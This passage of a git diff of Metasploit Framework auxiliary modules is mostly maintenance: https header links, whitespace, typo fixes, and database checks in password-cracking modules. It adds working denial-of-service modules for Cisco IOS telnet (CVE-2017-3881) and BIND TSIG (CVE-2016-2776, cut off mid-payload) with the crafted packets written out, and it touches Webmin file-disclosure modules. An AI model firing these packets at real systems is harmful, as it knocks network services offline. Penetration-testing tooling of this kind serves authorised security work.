@@ -105,5 +102,4 @@ class MetasploitModule < Msf::Auxiliary
     print_status("Dumped #{"0x%.8x" % idx} bytes.")
     wdbrpc_client_disconnect
   end
-
 end
diff --git a/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb b/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb
index 2f473117e8..2225af1ff0 100644
--- a/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb
+++ b/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::WDBRPC_Client
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -55,5 +52,4 @@ class MetasploitModule < Msf::Auxiliary
 
     wdbrpc_client_disconnect
   end
-
 end
diff --git a/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb b/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb
index 2a61e0f7a5..8f2d92e211 100644
--- a/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb
+++ b/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -16,7 +14,7 @@ class MetasploitModule < Msf::Auxiliary
           This module exploits a directory traversal in Webmin 1.580. The vulnerability
         exists in the edit_html.cgi component and allows an authenticated user with access
         to the File Manager Module to access arbitrary files with root privileges. The
-        module has been tested successfully with Webim 1.580 over Ubuntu 10.04.
+        module has been tested successfully with Webmin 1.580 over Ubuntu 10.04.
       },
       'Author'         => [
         'Unknown', # From American Information Security Group
@@ -96,12 +94,11 @@ class MetasploitModule < Msf::Auxiliary
       loot = $1
       f = ::File.basename(datastore['RPATH'])
       path = store_loot('webmin.file', 'application/octet-stream', rhost, loot, f, datastore['RPATH'])
-      print_status("#{datastore['RPATH']} saved in #{path}")
+      print_good("#{datastore['RPATH']} saved in #{path}")
     else
       print_error("Failed to retrieve the file")
       return
     end
 
   end
-
 end
diff --git a/modules/auxiliary/admin/webmin/file_disclosure.rb b/modules/auxiliary/admin/webmin/file_disclosure.rb
index a04b236d45..6face4548b 100644
--- a/modules/auxiliary/admin/webmin/file_disclosure.rb
+++ b/modules/auxiliary/admin/webmin/file_disclosure.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -75,5 +73,4 @@ class MetasploitModule < Msf::Auxiliary
       print_status("No response from the server")
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/zend/java_bridge.rb b/modules/auxiliary/admin/zend/java_bridge.rb
index 493010cefd..34146ddbb8 100644
--- a/modules/auxiliary/admin/zend/java_bridge.rb
+++ b/modules/auxiliary/admin/zend/java_bridge.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
 
   def initialize(info = {})
@@ -81,5 +80,4 @@ class MetasploitModule < Msf::Auxiliary
     disconnect
 
   end
-
 end
diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb
index 18b8515040..37ced78006 100644
--- a/modules/auxiliary/analyze/jtr_aix.rb
+++ b/modules/auxiliary/analyze/jtr_aix.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/auxiliary/jtr'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::JohnTheRipper
 
   def initialize
@@ -32,6 +30,11 @@ class MetasploitModule < Msf::Auxiliary
 
     # generate our wordlist and close the file handle
     wordlist = wordlist_file
+    unless wordlist
+      print_error('This module cannot run without a database connected. Use db_connect to connect to a database.')
+      return
+    end
+
     wordlist.close
     print_status "Wordlist file written out to #{wordlist.path}"
     cracker.wordlist = wordlist.path
@@ -95,5 +98,4 @@ class MetasploitModule < Msf::Auxiliary
     print_status "Hashes Written out to #{hashlist.path}"
     hashlist.path
   end
-
 end
diff --git a/modules/auxiliary/analyze/jtr_crack_fast.rb b/modules/auxiliary/analyze/jtr_crack_fast.rb
index b3ab197ca6..26588ece02 100644
--- a/modules/auxiliary/analyze/jtr_crack_fast.rb
+++ b/modules/auxiliary/analyze/jtr_crack_fast.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/auxiliary/jtr'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::JohnTheRipper
 
   def initialize
@@ -31,6 +29,11 @@ class MetasploitModule < Msf::Auxiliary
 
     # generate our wordlist and close the file handle
     wordlist = wordlist_file
+    unless wordlist
+      print_error('This module cannot run without a database connected. Use db_connect to connect to a database.')
+      return
+    end
+
     wordlist.close
     print_status "Wordlist file written out to #{wordlist.path}"
     cracker.wordlist = wordlist.path
diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb
index a49d2f14c4..f0e32c62e3 100644
--- a/modules/auxiliary/analyze/jtr_linux.rb
+++ b/modules/auxiliary/analyze/jtr_linux.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/auxiliary/jtr'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::JohnTheRipper
 
   def initialize
@@ -46,6 +44,11 @@ class MetasploitModule < Msf::Auxiliary
 
     # generate our wordlist and close the file handle
     wordlist = wordlist_file
+    unless wordlist
+      print_error('This module cannot run without a database connected. Use db_connect to connect to a database.')
+      return
+    end
+
     wordlist.close
     print_status "Wordlist file written out to #{wordlist.path}"
     cracker.wordlist = wordlist.path
diff --git a/modules/auxiliary/analyze/jtr_mssql_fast.rb b/modules/auxiliary/analyze/jtr_mssql_fast.rb
index 787f0de29a..15e4141238 100644
--- a/modules/auxiliary/analyze/jtr_mssql_fast.rb
+++ b/modules/auxiliary/analyze/jtr_mssql_fast.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/auxiliary/jtr'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::JohnTheRipper
 
   def initialize
@@ -33,6 +31,11 @@ class MetasploitModule < Msf::Auxiliary
 
     # generate our wordlist and close the file handle
     wordlist = wordlist_file
+    unless wordlist
+      print_error('This module cannot run without a database connected. Use db_connect to connect to a database.')
+      return
+    end
+
     wordlist.close
     print_status "Wordlist file written out to #{wordlist.path}"
     cracker.wordlist = wordlist.path
diff --git a/modules/auxiliary/analyze/jtr_mysql_fast.rb b/modules/auxiliary/analyze/jtr_mysql_fast.rb
index cb4e6a7a30..29652c0a21 100644
--- a/modules/auxiliary/analyze/jtr_mysql_fast.rb
+++ b/modules/auxiliary/analyze/jtr_mysql_fast.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/auxiliary/jtr'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::JohnTheRipper
 
   def initialize
@@ -32,6 +30,11 @@ class MetasploitModule < Msf::Auxiliary
 
     # generate our wordlist and close the file handle
     wordlist = wordlist_file
+    unless wordlist
+      print_error('This module cannot run without a database connected. Use db_connect to connect to a database.')
+      return
+    end
+
     wordlist.close
     print_status "Wordlist file written out to #{wordlist.path}"
     cracker.wordlist = wordlist.path
diff --git a/modules/auxiliary/analyze/jtr_oracle_fast.rb b/modules/auxiliary/analyze/jtr_oracle_fast.rb
index 7f766aefee..bdd87c6503 100644
--- a/modules/auxiliary/analyze/jtr_oracle_fast.rb
+++ b/modules/auxiliary/analyze/jtr_oracle_fast.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/auxiliary/jtr'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::JohnTheRipper
 
   def initialize
@@ -28,86 +26,76 @@ class MetasploitModule < Msf::Auxiliary
   end
 
   def run
-    @wordlist = Rex::Quickfile.new("jtrtmp")
+    cracker = new_john_cracker
 
-    @wordlist.write( build_seed().flatten.uniq.join("\n") + "\n" )
-    @wordlist.close
-    crack("oracle")
-    crack("oracle11g")
-  end
+    # generate our wordlist and close the file handle
+    wordlist = wordlist_file
+    wordlist.close
+    print_status "Wordlist file written out to #{wordlist.path}"
+    cracker.wordlist = wordlist.path
+    #cracker.hash_path = hash_file("des")
 
-  def report_cred(opts)
-    service_data = {
-      address: opts[:ip],
-      port: opts[:port],
-      service_name: opts[:service_name],
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
+    ['oracle', 'oracle11'].each do |format|
+      cracker_instance = cracker.dup
+      cracker_instance.format = format
 
-    credential_data = {
-      origin_type: :service,
-      module_fullname: fullname,
-      username: opts[:user],
-      private_data: opts[:password],
-      private_type: :nonreplayable_hash,
-      jtr_format: opts[:format]
-    }.merge(service_data)
-
-    login_data = {
-      core: create_credential(credential_data),
-      status: Metasploit::Model::Login::Status::UNTRIED,
-      proof: opts[:proof]
-    }.merge(service_data)
-
-    create_credential_login(login_data)
-  end
-
-
-  def crack(format)
-
-    hashlist = Rex::Quickfile.new("jtrtmp")
-    ltype= "#{format}.hashes"
-    myloots = myworkspace.loots.where('ltype=?', ltype)
-    unless myloots.nil? or myloots.empty?
-      myloots.each do |myloot|
-        begin
-          oracle_array = CSV.read(myloot.path).drop(1)
-        rescue Exception => e
-          print_error("Unable to read #{myloot.path} \n #{e}")
-        end
-        oracle_array.each do |row|
-          hashlist.write("#{row[0]}:#{row[1]}:#{myloot.host.address}:#{myloot.service.port}\n")
-        end
+      case format
+        when 'oracle'
+          cracker_instance.hash_path = hash_file('des')
+        when 'oracle11'
+          cracker_instance.hash_path = hash_file('raw-sha1')
       end
-      hashlist.close
 
-      print_status("HashList: #{hashlist.path}")
-      print_status("Trying Wordlist: #{@wordlist.path}")
-      john_crack(hashlist.path, :wordlist => @wordlist.path, :rules => 'single', :format => format)
+      print_status "Cracking #{format} hashes in normal wordlist mode..."
+      # Turn on KoreLogic rules if the user asked for it
+      if datastore['KoreLogic']
+        cracker_instance.rules = 'KoreLogicRules'
+        print_status "Applying KoreLogic ruleset..."
+      end
+      print_status "Crack command #{cracker_instance.crack_command.join(' ')}"
+      cracker_instance.crack do |line|
+        print_status line.chomp
+      end
 
-      print_status("Trying Rule: All4...")
-      john_crack(hashlist.path, :incremental => "All4", :format => format)
+      print_status "Cracking #{format} hashes in single mode..."
+      cracker_instance.rules = 'single'
+      cracker_instance.crack do |line|
+        print_status line.chomp
+      end
 
-      print_status("Trying Rule: Digits5...")
-      john_crack(hashlist.path, :incremental => "Digits5", :format => format)
+      print_status "Cracked passwords this run:"
+      cracker_instance.each_cracked_password do |password_line|
+        password_line.chomp!
+        next if password_line.blank?
+        fields = password_line.split(":")
+        # If we don't have an expected minimum number of fields, this is probably not a hash line
+        next unless fields.count >=3
+        username = fields.shift
+        core_id  = fields.pop
+        password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them
 
-      cracked = john_show_passwords(hashlist.path, format)
-
-      print_status("#{cracked[:cracked]} hashes were cracked!")
-      cracked[:users].each_pair do |k,v|
-        print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}")
-        report_cred(
-          ip: v[1],
-          port: v[2],
-          service_name: 'oracle',
-          user: k,
-          pass: v[0],
-          format: format,
-          proof: cracked.inspect
-        )
+        # Postgres hashes always prepend the username to the password before hashing. So we strip the username back off here.
+        password.gsub!(/^#{username}/,'')
+        print_good "#{username}:#{password}:#{core_id}"
+        create_cracked_credential( username: username, password: password, core_id: core_id)
       end
     end
+
   end
 
+
+  def hash_file(format)
+    hashlist = Rex::Quickfile.new("hashes_tmp")
+    Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: format).each do |hash|
+      hash.cores.each do |core|
+        user = core.public.username
+        hash_string = "#{hash.data.split(':')[1]}"
+        id = core.id
+        hashlist.puts "#{user}:#{hash_string}:#{id}:"
+      end
+    end
+    hashlist.close
+    print_status "Hashes Written out to #{hashlist.path}"
+    hashlist.path
+  end
 end
diff --git a/modules/auxiliary/analyze/jtr_postgres_fast.rb b/modules/auxiliary/analyze/jtr_postgres_fast.rb
index 7fdab976d5..0637cf9e69 100644
--- a/modules/auxiliary/analyze/jtr_postgres_fast.rb
+++ b/modules/auxiliary/analyze/jtr_postgres_fast.rb
@@ -1,12 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/auxiliary/jtr'
 
-
 class MetasploitModule < Msf::Auxiliary
 
   #Included to grab the john.pot and use some utiltiy functions
@@ -36,6 +34,11 @@ class MetasploitModule < Msf::Auxiliary
 
     # generate our wordlist and close the file handle
     wordlist = wordlist_file
+    unless wordlist
+      print_error('This module cannot run without a database connected. Use db_connect to connect to a database.')
+      return
+    end
+
     wordlist.close
 
 
@@ -121,5 +124,4 @@ class MetasploitModule < Msf::Auxiliary
     print_status "Hashes written out to #{hashlist.path}"
     hashlist.path
   end
-
 end
diff --git a/modules/auxiliary/bnat/bnat_router.rb b/modules/auxiliary/bnat/bnat_router.rb
index a91d4bb2ca..67a18b073c 100644
--- a/modules/auxiliary/bnat/bnat_router.rb
+++ b/modules/auxiliary/bnat/bnat_router.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/bnat/bnat_scan.rb b/modules/auxiliary/bnat/bnat_scan.rb
index e9da761180..c86816b9b5 100644
--- a/modules/auxiliary/bnat/bnat_scan.rb
+++ b/modules/auxiliary/bnat/bnat_scan.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name'         => 'BNAT Scanner',
       'Description'  => %q{
           This module is a scanner which can detect Broken NAT (network address translation)
-        implementations, which could result in a inability to reach ports on remote
+        implementations, which could result in an inability to reach ports on remote
         machines. Typically, these ports will appear in nmap scans as 'filtered'/'closed'.
         },
       'Author'       =>
@@ -96,5 +96,4 @@ class MetasploitModule < Msf::Auxiliary
 
     close_pcap
   end
-
 end
diff --git a/modules/auxiliary/client/hwbridge/connect.rb b/modules/auxiliary/client/hwbridge/connect.rb
index 66448cc7b3..79ed4e7259 100644
--- a/modules/auxiliary/client/hwbridge/connect.rb
+++ b/modules/auxiliary/client/hwbridge/connect.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/base/sessions/hwbridge'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
@@ -19,10 +18,10 @@ class MetasploitModule < Msf::Auxiliary
           Metasploit to interact with Hardware Devices.  This extends
           the normal exploit capabilities to the non-ethernet realm and
           enables direct hardware and alternative bus manipulations.  You
-          mush have compatible bridging hardware attached to this machine or
+          must have compatible bridging hardware attached to this machine or
           reachable on your network to use any HWBridge exploits.
 
-          Use this exploit module to connect the the physical HWBridge which
+          Use this exploit module to connect the physical HWBridge which
           will start an interactive hwbridge session.  You can launch a hwbridge
           server locally by using compliant hardware and executing the local_hwbridge
           module.  After that module has started, pass the HWBRIDGE_BASE_URL
@@ -105,6 +104,10 @@ class MetasploitModule < Msf::Auxiliary
     if self.hw_specialty.has_key? 'rftransceiver'
       sess.load_rftransceiver if self.hw_specialty['rftransceiver'] == true
     end
+    sess.api_version = self.api_version if self.api_version
+    sess.fw_version = self.fw_version if self.fw_version
+    sess.hw_version = self.hw_version if self.hw_version
+    sess.device_name = self.device_name if self.device_name
   end
 
   #
@@ -130,6 +133,18 @@ class MetasploitModule < Msf::Auxiliary
         if data.key? 'hw_capabilities'
           self.hw_capabilities = data['hw_capabilities']
         end
+        if data.key? 'api_version'
+          self.api_version = data['api_version']
+        end
+        if data.key? 'fw_version'
+          self.fw_version = data['fw_version']
+        end
+        if data.key? 'hw_vesrion'
+          self.hw_version = data['hw_version']
+        end
+        if data.key? 'device_name'
+          self.device_name = data['device_name']
+        end
       end
     end
   end
@@ -148,15 +163,23 @@ class MetasploitModule < Msf::Auxiliary
       print_status "HW Specialty: #{self.hw_specialty}  Capabilities: #{self.hw_capabilities}"
       print_disclaimer
     else
-      print_bad "Could not connect to API"
+      print_error "Could not connect to API"
     end
   end
 
   attr_reader :hw_specialty
   attr_reader :hw_capabilities
+  attr_reader :api_version
+  attr_reader :fw_version
+  attr_reader :hw_version
+  attr_reader :device_name
 
   protected
 
   attr_writer :hw_specialty
   attr_writer :hw_capabilities
+  attr_writer :api_version
+  attr_writer :fw_version
+  attr_writer :hw_version
+  attr_writer :device_name
 end
diff --git a/modules/auxiliary/client/mms/send_mms.rb b/modules/auxiliary/client/mms/send_mms.rb
index 311c14c20f..a39175da73 100644
--- a/modules/auxiliary/client/mms/send_mms.rb
+++ b/modules/auxiliary/client/mms/send_mms.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Mms
 
   def initialize(info = {})
@@ -29,5 +28,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error(e.message)
     end
   end
-
 end
diff --git a/modules/auxiliary/client/sms/send_text.rb b/modules/auxiliary/client/sms/send_text.rb
index f867dd90ef..cb5af54186 100644
--- a/modules/auxiliary/client/sms/send_text.rb
+++ b/modules/auxiliary/client/sms/send_text.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Sms
 
   def initialize(info = {})
@@ -32,5 +31,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error(e.message)
     end
   end
-
 end
diff --git a/modules/auxiliary/client/smtp/emailer.rb b/modules/auxiliary/client/smtp/emailer.rb
index 775e1b1af0..ab5c63c25a 100644
--- a/modules/auxiliary/client/smtp/emailer.rb
+++ b/modules/auxiliary/client/smtp/emailer.rb
@@ -1,12 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'yaml'
 
-
 class MetasploitModule < Msf::Auxiliary
 
   #
@@ -219,5 +217,4 @@ class MetasploitModule < Msf::Auxiliary
 
     print_status("Email sent..")
   end
-
 end
diff --git a/modules/auxiliary/crawler/msfcrawler.rb b/modules/auxiliary/crawler/msfcrawler.rb
index 3a0c35d5a1..13df8e2a12 100644
--- a/modules/auxiliary/crawler/msfcrawler.rb
+++ b/modules/auxiliary/crawler/msfcrawler.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,14 +17,13 @@ require 'pathname'
 require 'uri'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
 
   def initialize(info = {})
     super(update_info(info,
       'Name'			=> 'Metasploit Web Crawler',
-      'Description'       => 'This auxiliary module is a modular web crawler, to be used in conjuntion with wmap (someday) or standalone.',
+      'Description'       => 'This auxiliary module is a modular web crawler, to be used in conjunction with wmap (someday) or standalone.',
       'Author'			=> 'et',
       'License'			=> MSF_LICENSE
     ))
@@ -404,7 +403,6 @@ class MetasploitModule < Msf::Auxiliary
   def hashsig(hashreq)
     hashreq.to_s
   end
-
 end
 
 class BaseParser
diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb
index c9c63aa17c..eccdf4c9a7 100644
--- a/modules/auxiliary/docx/word_unc_injector.rb
+++ b/modules/auxiliary/docx/word_unc_injector.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -18,7 +18,6 @@ require 'zip'
 require 'rex/zip'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::FILEFORMAT
 
   def initialize(info = {})
diff --git a/modules/auxiliary/dos/android/android_stock_browser_iframe.rb b/modules/auxiliary/dos/android/android_stock_browser_iframe.rb
index 09b10e667d..9a5d4ba042 100644
--- a/modules/auxiliary/dos/android/android_stock_browser_iframe.rb
+++ b/modules/auxiliary/dos/android/android_stock_browser_iframe.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb
index 9651e0c195..b6464a6afe 100644
--- a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb
+++ b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -46,7 +43,6 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
   end
-
 end
 
 =begin
diff --git a/modules/auxiliary/dos/cisco/ios_telnet_rocem.rb b/modules/auxiliary/dos/cisco/ios_telnet_rocem.rb
new file mode 100644
index 0000000000..49ea334891
--- /dev/null
+++ b/modules/auxiliary/dos/cisco/ios_telnet_rocem.rb
@@ -0,0 +1,51 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Dos
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Cisco IOS Telnet Denial of Service',
+      'Description'    => %q{
+        This module triggers a Denial of Service condition in the Cisco IOS
+        telnet service affecting multiple Cisco switches. Tested against Cisco
+        Catalyst 2960 and 3750.
+      },
+      'Author'      => [ 'Artem Kondratenko' ],
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          ['BID', '96960'],
+          ['CVE', '2017-3881'],
+          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp'],
+          ['URL', 'https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution']
+        ],
+      'DisclosureDate' => 'Mar 17 2017'))
+
+    register_options([ Opt::RPORT(23) ])
+  end
+
+  def run
+    begin
+      connect
+      print_status "Connected to telnet service"
+      packet = sock.read(200)
+      if packet.nil?
+        print_error "Failed to get initial packet from telnet service."
+      else
+        print_status "Got initial packet from telnet service: " + packet.inspect
+      end
+      print_status "Sending Telnet DoS packet"
+      sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + Rex::Text.rand_text_alpha(1000) + ":1:\xff\xf0")
+      disconnect
+    rescue ::Rex::ConnectionRefused
+      print_status "Unable to connect to #{rhost}:#{rport}."
+    rescue ::Errno::ECONNRESET
+      print_good "DoS packet successful. #{rhost} not responding."
+    end
+  end
+end
diff --git a/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb b/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb
index 6f3375dae2..57e2263f96 100644
--- a/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb
+++ b/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Dos
   include Msf::Exploit::Capture
 
@@ -64,5 +63,4 @@ class MetasploitModule < Msf::Auxiliary
     req[28,6] = chaddr
     req + payload
   end
-
 end
diff --git a/modules/auxiliary/dos/dns/bind_tkey.rb b/modules/auxiliary/dos/dns/bind_tkey.rb
index 0d8d252b6c..7c397bf03f 100644
--- a/modules/auxiliary/dos/dns/bind_tkey.rb
+++ b/modules/auxiliary/dos/dns/bind_tkey.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
   include Msf::Auxiliary::UDPScanner
   include Msf::Auxiliary::Dos
@@ -84,5 +83,4 @@ class MetasploitModule < Msf::Auxiliary
     query << txt_length  # TXT Length
     query << txt         # TXT
   end
-
 end
diff --git a/modules/auxiliary/dos/dns/bind_tsig.rb b/modules/auxiliary/dos/dns/bind_tsig.rb
new file mode 100644
index 0000000000..b88cb02cb6
--- /dev/null
+++ b/modules/auxiliary/dos/dns/bind_tsig.rb
@@ -0,0 +1,99 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Capture
+  include Msf::Auxiliary::UDPScanner
+  include Msf::Auxiliary::Dos
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'BIND TKEY Query Denial of Service',
+      'Description'    => %q{
+        A defect in the rendering of messages into packets can cause named to
+        exit with an assertion failure in buffer.c while constructing a response
+        to a query that meets certain criteria.
+
+        This assertion can be triggered even if the apparent source address
+        isn't allowed to make queries.
+      },
+      # Research and Original PoC - msf module author
+      'Author'         => [
+        'Martin Rocha',
+        'Ezequiel Tavella',
+        'Alejandro Parodi',
+        'Infobyte Research Team'
+      ],
+      'References'     => [
+        ['CVE', '2016-2776'],
+        ['URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html']
+      ],
+      'DisclosureDate' => 'Sep 27 2016',
+      'License'        => MSF_LICENSE,
+      'DefaultOptions' => {'ScannerRecvWindow' => 0}
+    ))
+
+    register_options([
+      Opt::RPORT(53),
+      OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])
+    ])
+
+    deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')
+  end
+
+  def scan_host(ip)
+    if datastore['SRC_ADDR']
+      scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])
+    else
+      print_status("Sending packet to #{ip}")
+      scanner_send(payload, ip, rport)
+    end
+  end
+
+  def payload
+    query = Rex::Text.rand_text_alphanumeric(2)  # Transaction ID: 0x8f65
+    query << "\x00\x00"  # Flags: 0x0000 Standard query
+    query << "\x00\x01"  # Questions: 1
+    query << "\x00\x00"  # Answer RRs: 0
+    query << "\x00\x00"  # Authority RRs: 0
+    query << "\x00\x01"  # Additional RRs: 1
+
+    # Doman Name
+    query << get_domain   # Random DNS Name
+    query << "\x00"      # [End of name]
+    query << "\x00\x01"  # Type: A (Host Address) (1)
+    query << "\x00\x01"  # Class: IN (0x0001)
+
+    # Aditional records. Name
+    query << ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #192 bytes
+    query << "\x3d"+Rex::Text.rand_text_alphanumeric(61)
+    query << "\x00"
+
+    query << "\x00\xfa" # Type: TSIG (Transaction Signature) (250)
+    query << "\x00\xff" # Class: ANY (0x00ff)
+    query << "\x00\x00\x00\x00" # Time to live: 0
+    query << "\x00\xfc" # Data length: 252
+
